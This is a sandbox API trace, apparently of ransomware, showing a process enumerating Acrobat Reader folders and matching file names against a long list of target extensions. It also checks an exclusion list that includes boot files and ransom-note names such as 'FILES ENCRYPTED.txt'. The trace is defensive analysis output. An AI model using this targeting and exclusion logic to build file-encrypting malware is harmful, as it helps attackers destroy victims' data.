	[0177.106] lstrcmpiW (lpString1=".h", lpString2="js") returned -1
	[0177.106] lstrlenW (lpString=".hdr") returned 4
	[0177.106] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".hpp") returned 4
	[0177.106] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".hta") returned 4
	[0177.106] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".htc") returned 4
	[0177.106] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".htm") returned 4
	[0177.106] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1
	[0177.106] lstrlenW (lpString=".html") returned 5
	[0177.106] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1
	[0177.106] lstrlenW (lpString=".icb") returned 4
	[0177.107] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".ics") returned 4
	[0177.107] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".iff") returned 4
	[0177.107] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".inc") returned 4
	[0177.107] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".indd") returned 5
	[0177.107] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1
	[0177.107] lstrlenW (lpString=".ini") returned 4
	[0177.107] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".iqy") returned 4
	[0177.107] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".j2c") returned 4
	[0177.107] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".j2k") returned 4
	[0177.107] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".java") returned 5
	[0177.107] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1
	[0177.107] lstrlenW (lpString=".jp2") returned 4
	[0177.107] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".jpc") returned 4
	[0177.107] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".jpe") returned 4
	[0177.107] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1
	[0177.107] lstrlenW (lpString=".jpeg") returned 5
	[0177.107] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1
	[0177.107] lstrlenW (lpString=".jpf") returned 4
	[0177.108] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1
	[0177.108] lstrlenW (lpString=".jpg") returned 4
	[0177.108] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1
	[0177.108] lstrlenW (lpString=".jpx") returned 4
	[0177.108] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1
	[0177.108] lstrlenW (lpString=".js") returned 3
	[0177.108] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0
	[0177.108] lstrlenW (lpString="plugin.js") returned 9
	[0177.108] lstrlenW (lpString=".GTF") returned 4
	[0177.108] lstrcmpiW (lpString1=".GTF", lpString2="n.js") returned -1
	[0177.108] lstrlenW (lpString="plugin.js") returned 9
	[0177.108] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1
	[0177.108] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1
	[0177.108] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1
	[0177.108] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1
	[0177.108] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1
	[0177.108] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1
	[0177.108] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1
	[0177.108] lstrcmpiW (lpString1="fvppjh.exe", lpString2="plugin.js") returned -1
	[0177.108] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\plugin.js") returned 118
	[0177.108] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="selector.js", cAlternateFileName="")) returned 1
	[0177.108] lstrlenW (lpString="selector.js") returned 11
	[0177.108] lstrlenW (lpString=".1cd") returned 4
	[0177.108] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".3ds") returned 4
	[0177.109] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".3fr") returned 4
	[0177.109] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".3g2") returned 4
	[0177.109] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".3gp") returned 4
	[0177.109] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".7z") returned 3
	[0177.109] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0177.109] lstrlenW (lpString=".accda") returned 6
	[0177.109] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1
	[0177.109] lstrlenW (lpString=".accdb") returned 6
	[0177.109] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1
	[0177.109] lstrlenW (lpString=".accdc") returned 6
	[0177.109] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1
	[0177.109] lstrlenW (lpString=".accde") returned 6
	[0177.109] lstrcmpiW (lpString1=".accde", lpString2="tor.js") returned -1
	[0177.109] lstrlenW (lpString=".accdt") returned 6
	[0177.109] lstrcmpiW (lpString1=".accdt", lpString2="tor.js") returned -1
	[0177.109] lstrlenW (lpString=".accdw") returned 6
	[0177.109] lstrcmpiW (lpString1=".accdw", lpString2="tor.js") returned -1
	[0177.109] lstrlenW (lpString=".adb") returned 4
	[0177.109] lstrcmpiW (lpString1=".adb", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".adp") returned 4
	[0177.109] lstrcmpiW (lpString1=".adp", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".ai") returned 3
	[0177.109] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0177.109] lstrlenW (lpString=".ai3") returned 4
	[0177.109] lstrcmpiW (lpString1=".ai3", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".ai4") returned 4
	[0177.109] lstrcmpiW (lpString1=".ai4", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".ai5") returned 4
	[0177.109] lstrcmpiW (lpString1=".ai5", lpString2="r.js") returned -1
	[0177.109] lstrlenW (lpString=".ai6") returned 4
	[0177.110] lstrcmpiW (lpString1=".ai6", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".ai7") returned 4
	[0177.110] lstrcmpiW (lpString1=".ai7", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".ai8") returned 4
	[0177.110] lstrcmpiW (lpString1=".ai8", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".anim") returned 5
	[0177.110] lstrcmpiW (lpString1=".anim", lpString2="or.js") returned -1
	[0177.110] lstrlenW (lpString=".arw") returned 4
	[0177.110] lstrcmpiW (lpString1=".arw", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".as") returned 3
	[0177.110] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0177.110] lstrlenW (lpString=".asa") returned 4
	[0177.110] lstrcmpiW (lpString1=".asa", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".asc") returned 4
	[0177.110] lstrcmpiW (lpString1=".asc", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".ascx") returned 5
	[0177.110] lstrcmpiW (lpString1=".ascx", lpString2="or.js") returned -1
	[0177.110] lstrlenW (lpString=".asm") returned 4
	[0177.110] lstrcmpiW (lpString1=".asm", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".asmx") returned 5
	[0177.110] lstrcmpiW (lpString1=".asmx", lpString2="or.js") returned -1
	[0177.110] lstrlenW (lpString=".asp") returned 4
	[0177.110] lstrcmpiW (lpString1=".asp", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".aspx") returned 5
	[0177.110] lstrcmpiW (lpString1=".aspx", lpString2="or.js") returned -1
	[0177.110] lstrlenW (lpString=".asr") returned 4
	[0177.110] lstrcmpiW (lpString1=".asr", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".asx") returned 4
	[0177.110] lstrcmpiW (lpString1=".asx", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".avi") returned 4
	[0177.110] lstrcmpiW (lpString1=".avi", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".avs") returned 4
	[0177.110] lstrcmpiW (lpString1=".avs", lpString2="r.js") returned -1
	[0177.110] lstrlenW (lpString=".backup") returned 7
	[0177.111] lstrcmpiW (lpString1=".backup", lpString2="ctor.js") returned -1
	[0177.111] lstrlenW (lpString=".bak") returned 4
	[0177.111] lstrcmpiW (lpString1=".bak", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".bay") returned 4
	[0177.111] lstrcmpiW (lpString1=".bay", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".bd") returned 3
	[0177.111] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0177.111] lstrlenW (lpString=".bin") returned 4
	[0177.111] lstrcmpiW (lpString1=".bin", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".bmp") returned 4
	[0177.111] lstrcmpiW (lpString1=".bmp", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".bz2") returned 4
	[0177.111] lstrcmpiW (lpString1=".bz2", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".c") returned 2
	[0177.111] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0177.111] lstrlenW (lpString=".cdr") returned 4
	[0177.111] lstrcmpiW (lpString1=".cdr", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".cer") returned 4
	[0177.111] lstrcmpiW (lpString1=".cer", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".cf") returned 3
	[0177.111] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0177.111] lstrlenW (lpString=".cfc") returned 4
	[0177.111] lstrcmpiW (lpString1=".cfc", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".cfm") returned 4
	[0177.111] lstrcmpiW (lpString1=".cfm", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".cfml") returned 5
	[0177.111] lstrcmpiW (lpString1=".cfml", lpString2="or.js") returned -1
	[0177.111] lstrlenW (lpString=".cfu") returned 4
	[0177.111] lstrcmpiW (lpString1=".cfu", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".chm") returned 4
	[0177.111] lstrcmpiW (lpString1=".chm", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".cin") returned 4
	[0177.111] lstrcmpiW (lpString1=".cin", lpString2="r.js") returned -1
	[0177.111] lstrlenW (lpString=".class") returned 6
	[0177.111] lstrcmpiW (lpString1=".class", lpString2="tor.js") returned -1
	[0177.111] lstrlenW (lpString=".clx") returned 4
	[0177.112] lstrcmpiW (lpString1=".clx", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".config") returned 7
	[0177.112] lstrcmpiW (lpString1=".config", lpString2="ctor.js") returned -1
	[0177.112] lstrlenW (lpString=".cpp") returned 4
	[0177.112] lstrcmpiW (lpString1=".cpp", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".cr2") returned 4
	[0177.112] lstrcmpiW (lpString1=".cr2", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".crt") returned 4
	[0177.112] lstrcmpiW (lpString1=".crt", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".crw") returned 4
	[0177.112] lstrcmpiW (lpString1=".crw", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".cs") returned 3
	[0177.112] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0177.112] lstrlenW (lpString=".css") returned 4
	[0177.112] lstrcmpiW (lpString1=".css", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".csv") returned 4
	[0177.112] lstrcmpiW (lpString1=".csv", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".cub") returned 4
	[0177.112] lstrcmpiW (lpString1=".cub", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".dae") returned 4
	[0177.112] lstrcmpiW (lpString1=".dae", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".dat") returned 4
	[0177.112] lstrcmpiW (lpString1=".dat", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".db") returned 3
	[0177.112] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0177.112] lstrlenW (lpString=".dbf") returned 4
	[0177.112] lstrcmpiW (lpString1=".dbf", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".dbx") returned 4
	[0177.112] lstrcmpiW (lpString1=".dbx", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".dc3") returned 4
	[0177.112] lstrcmpiW (lpString1=".dc3", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".dcm") returned 4
	[0177.112] lstrcmpiW (lpString1=".dcm", lpString2="r.js") returned -1
	[0177.112] lstrlenW (lpString=".dcr") returned 4
	[0177.113] lstrcmpiW (lpString1=".dcr", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".der") returned 4
	[0177.113] lstrcmpiW (lpString1=".der", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".dib") returned 4
	[0177.113] lstrcmpiW (lpString1=".dib", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".dic") returned 4
	[0177.113] lstrcmpiW (lpString1=".dic", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".dif") returned 4
	[0177.113] lstrcmpiW (lpString1=".dif", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".divx") returned 5
	[0177.113] lstrcmpiW (lpString1=".divx", lpString2="or.js") returned -1
	[0177.113] lstrlenW (lpString=".djvu") returned 5
	[0177.113] lstrcmpiW (lpString1=".djvu", lpString2="or.js") returned -1
	[0177.113] lstrlenW (lpString=".dng") returned 4
	[0177.113] lstrcmpiW (lpString1=".dng", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".doc") returned 4
	[0177.113] lstrcmpiW (lpString1=".doc", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".docm") returned 5
	[0177.113] lstrcmpiW (lpString1=".docm", lpString2="or.js") returned -1
	[0177.113] lstrlenW (lpString=".docx") returned 5
	[0177.113] lstrcmpiW (lpString1=".docx", lpString2="or.js") returned -1
	[0177.113] lstrlenW (lpString=".dot") returned 4
	[0177.113] lstrcmpiW (lpString1=".dot", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".dotm") returned 5
	[0177.113] lstrcmpiW (lpString1=".dotm", lpString2="or.js") returned -1
	[0177.113] lstrlenW (lpString=".dotx") returned 5
	[0177.113] lstrcmpiW (lpString1=".dotx", lpString2="or.js") returned -1
	[0177.113] lstrlenW (lpString=".dpx") returned 4
	[0177.113] lstrcmpiW (lpString1=".dpx", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".dqy") returned 4
	[0177.113] lstrcmpiW (lpString1=".dqy", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".dsn") returned 4
	[0177.113] lstrcmpiW (lpString1=".dsn", lpString2="r.js") returned -1
	[0177.113] lstrlenW (lpString=".dt") returned 3
	[0177.114] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0177.114] lstrlenW (lpString=".dtd") returned 4
	[0177.114] lstrcmpiW (lpString1=".dtd", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".dwg") returned 4
	[0177.114] lstrcmpiW (lpString1=".dwg", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".dwt") returned 4
	[0177.114] lstrcmpiW (lpString1=".dwt", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".dx") returned 3
	[0177.114] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0177.114] lstrlenW (lpString=".dxf") returned 4
	[0177.114] lstrcmpiW (lpString1=".dxf", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".edml") returned 5
	[0177.114] lstrcmpiW (lpString1=".edml", lpString2="or.js") returned -1
	[0177.114] lstrlenW (lpString=".efd") returned 4
	[0177.114] lstrcmpiW (lpString1=".efd", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".elf") returned 4
	[0177.114] lstrcmpiW (lpString1=".elf", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".emf") returned 4
	[0177.114] lstrcmpiW (lpString1=".emf", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".emz") returned 4
	[0177.114] lstrcmpiW (lpString1=".emz", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".epf") returned 4
	[0177.114] lstrcmpiW (lpString1=".epf", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".eps") returned 4
	[0177.114] lstrcmpiW (lpString1=".eps", lpString2="r.js") returned -1
	[0177.114] lstrlenW (lpString=".epsf") returned 5
	[0177.114] lstrcmpiW (lpString1=".epsf", lpString2="or.js") returned -1
	[0177.114] lstrlenW (lpString=".epsp") returned 5
	[0177.114] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0177.115] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0177.115] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0177.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0177.115] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="send-for-sign", cAlternateFileName="SEND-F~1")) returned 1
	[0177.115] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign") returned 108
	[0177.115] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0177.115] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0177.115] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\send-for-sign\\images") returned 115
	[0177.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.117] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0177.117] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0177.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0177.118] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0177.118] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0177.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0177.118] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0177.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.118] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0177.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.118] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0177.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.118] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0177.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.119] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0177.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.119] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0177.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.119] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0177.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.119] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1
	[0177.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
